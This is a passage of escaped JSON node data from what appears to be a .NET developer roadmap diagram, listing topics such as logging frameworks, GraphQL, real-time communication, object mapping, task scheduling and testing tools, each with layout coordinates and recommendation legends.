1418.7412636056727\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CouchDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 138,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 138,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -69.7527967008875,\n        \"y\": 1418.7412636056727\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 138,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fQ3w8REYWzQfeJ0nPyq6W\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 171.8791275129173,\n        \"y\": 1337.0968472714264\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Log Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7Nth4LOrM_KirhvjDGkgS\"\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 171.8791275129173,\n        \"y\": 1337.0968472714264\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xL0s4-HfRxNy2ru0jiIWR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 301.5766878818748,\n        \"y\": 1196.3470319033936\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Serilog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 301.5766878818748,\n        \"y\": 1196.3470319033936\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ykF2bB_68AhCOzeQ_QSW1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 301.5766878818748,\n        \"y\": 1249.9839242654448\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NLog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 150,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 301.5766878818748,\n        \"y\": 1249.9839242654448\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GLkDH0X0uy8_1DIdCzbUD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 485.3038707552415,\n        \"y\": 1536.4442094125654\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"API Clients and Communication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9Vv3OxafB6BlHhi1ZkeVO\"\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 485.3038707552415,\n        \"y\": 1536.4442094125654\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 288,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KJCtxH3mYsZq3hfBZ6cJF\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 675.6445601795068,\n        \"y\": 1450.7161593360722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"REST\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"g\"\n        },\n        \"oldId\": \"BdTQ5ZMNDNZvkAUoCfL5H\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 99,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 675.6445601795068,\n        \"y\": 1450.7161593360722\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 99,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w5RnrhsP4p-AdSOLYVAY9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 675.6445601795068,\n        \"y\": 1338.7161593360722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Gridlify\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 99,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 675.6445601795068,\n        \"y\": 1338.7161593360722\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 99,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YojZ5fpzw-5WgoqqkO6wl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 675.6445601795068,\n        \"y\": 1391.7161593360722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Odata\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 99,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 675.6445601795068,\n        \"y\": 1391.7161593360722\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 99,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BdTQ5ZMNDNZvkAUoCfL5H\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 493.92617572789345,\n        \"y\": 1450.7161593360722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"g\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 493.92617572789345,\n        \"y\": 1450.7161593360722\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Efxu9gDodODMTKJbWcXzB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 493.92617572789345,\n        \"y\": 1338.7161593360722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GraphQL .NET\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 493.92617572789345,\n        \"y\": 1338.7161593360722\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XMrQx9JH0eSQJpMzhvy0F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 493.92617572789345,\n        \"y\": 1391.7161593360722\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"HotChocolate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 171,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 171,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 493.92617572789345,\n        \"y\": 1391.7161593360722\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 171,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x3SJlLc19DNJ-PyDOOj_G\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 675.6445601795068,\n        \"y\": 1636.7686788951287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"gRPC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 99,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 675.6445601795068,\n        \"y\": 1636.7686788951287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 99,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9Vv3OxafB6BlHhi1ZkeVO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -23.04576166270948,\n        \"y\": 1546.4442094125654\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Real-Time Communication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -23.04576166270948,\n        \"y\": 1546.4442094125654\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tBl8neu3tJd5GPwGfJbjZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -279.20291471146976,\n        \"y\": 1522.4234770816188\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Web Sockets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -279.20291471146976,\n        \"y\": 1522.4234770816188\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8dvd4M0TKNyQR8dEolGNT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -279.20291471146976,\n        \"y\": 1575.4234770816188\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SignalR Core\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -279.20291471146976,\n        \"y\": 1575.4234770816188\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9ECykIIvXlDblbFbRVcJS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -23.04576166270948,\n        \"y\": 1667.8598256215682\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Object Mapping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"s57tKy1rajlJbKFDVXLqs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -23.04576166270948,\n        \"y\": 1667.8598256215682\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GPmlueMnuLCUW_t4jvGhc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 323.18684756812684,\n        \"y\": 1614.8598256215682\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AutoMapper\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oMMBzRrHkUymxAR4oqr75\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 323.18684756812684,\n        \"y\": 1614.8598256215682\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"x0OopRTwIvoWgT8qi0CE9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 323.18684756812684,\n        \"y\": 1667.8598256215682\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mapperly\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oMMBzRrHkUymxAR4oqr75\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 323.18684756812684,\n        \"y\": 1667.8598256215682\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oMMBzRrHkUymxAR4oqr75\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 323.18684756812684,\n        \"y\": 1720.8598256215682\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Manual Mapping\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 186,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 186,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 323.18684756812684,\n        \"y\": 1720.8598256215682\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 186,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"s57tKy1rajlJbKFDVXLqs\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 12.95423833729052,\n        \"y\": 1877.1363901779303\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Task Scheduling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 12.95423833729052,\n        \"y\": 1877.1363901779303\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uP1nqbmFmZL_wA2DoqP8C\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -174.71351420311524,\n        \"y\": 1750.8690373019726\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Native Background Service\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -174.71351420311524,\n        \"y\": 1750.8690373019726\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QiQsx1udyKcPJ-lZjRQVy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -227.96902609725535,\n        \"y\": 1825.145103688996\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Hangfire\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 112,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -227.96902609725535,\n        \"y\": 1825.145103688996\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zOWlPXIl4XPs_0pA8-yi5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -227.96902609725535,\n        \"y\": 1878.145103688996\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Quartz\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 112,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -227.96902609725535,\n        \"y\": 1878.145103688996\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p3bZnKIyRgLmB764Kkhju\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -227.96902609725535,\n        \"y\": 1931.145103688996\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Coravel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Optional / Learn anytime\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 112,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -227.96902609725535,\n        \"y\": 1931.145103688996\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XofWWhlU_vWCG5oXVMZze\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 13.95423833729052,\n        \"y\": 1974.0673712978817\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KIFmahcNiSo2NGoLtAyRR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 13.95423833729052,\n        \"y\": 1974.0673712978817\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AtyL0ij8FeJCBmqG2YvTO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 327.50948132668987,\n        \"y\": 1868.0673712978817\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Playwright\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 327.50948132668987,\n        \"y\": 1868.0673712978817\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UCpoLiQJ4LeniI9x3uGcY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 327.50948132668987,\n        \"y\": 1921.0673712978817\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Puppeteer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 327.50948132668987,\n        \"y\": 1921.0673712978817\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f2UP2jDnDr7XEFIdAtBhH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 327.50948132668987,\n        \"y\": 1974.0673712978817\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Cypress\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Alternative Options\",\n          \"color\": \"#6d7500\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 178,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 178,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 327.50948132668987,\n        \"y\": 1974.0673712978817\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 178,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xx5G09n4WWnnydCgxnL0A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 515.2293649548315,\n        \"y\": 1867.0701218212512\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"WebApplicationFactory\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 515.2293649548315,\n        \"y\": 1867.0701218212512\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8eW5BaOjJbnQ7uk4zMOiU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 515.2293649548315,\n        \"y\": 1921.0673712978817\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Test Containers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#2b78e4\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 247,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 515.2293649548315,\n        \"y\": 1921.0673712978817\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ohc0xzI6qX4hOFVNfRj1F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 515.2293649548315,\n        \"y\": 1973.0701218212512\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \".NET Aspire\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TCswZHviRiu6SIOwUisu8\",\n        \"legend\": {\n          \"id\": 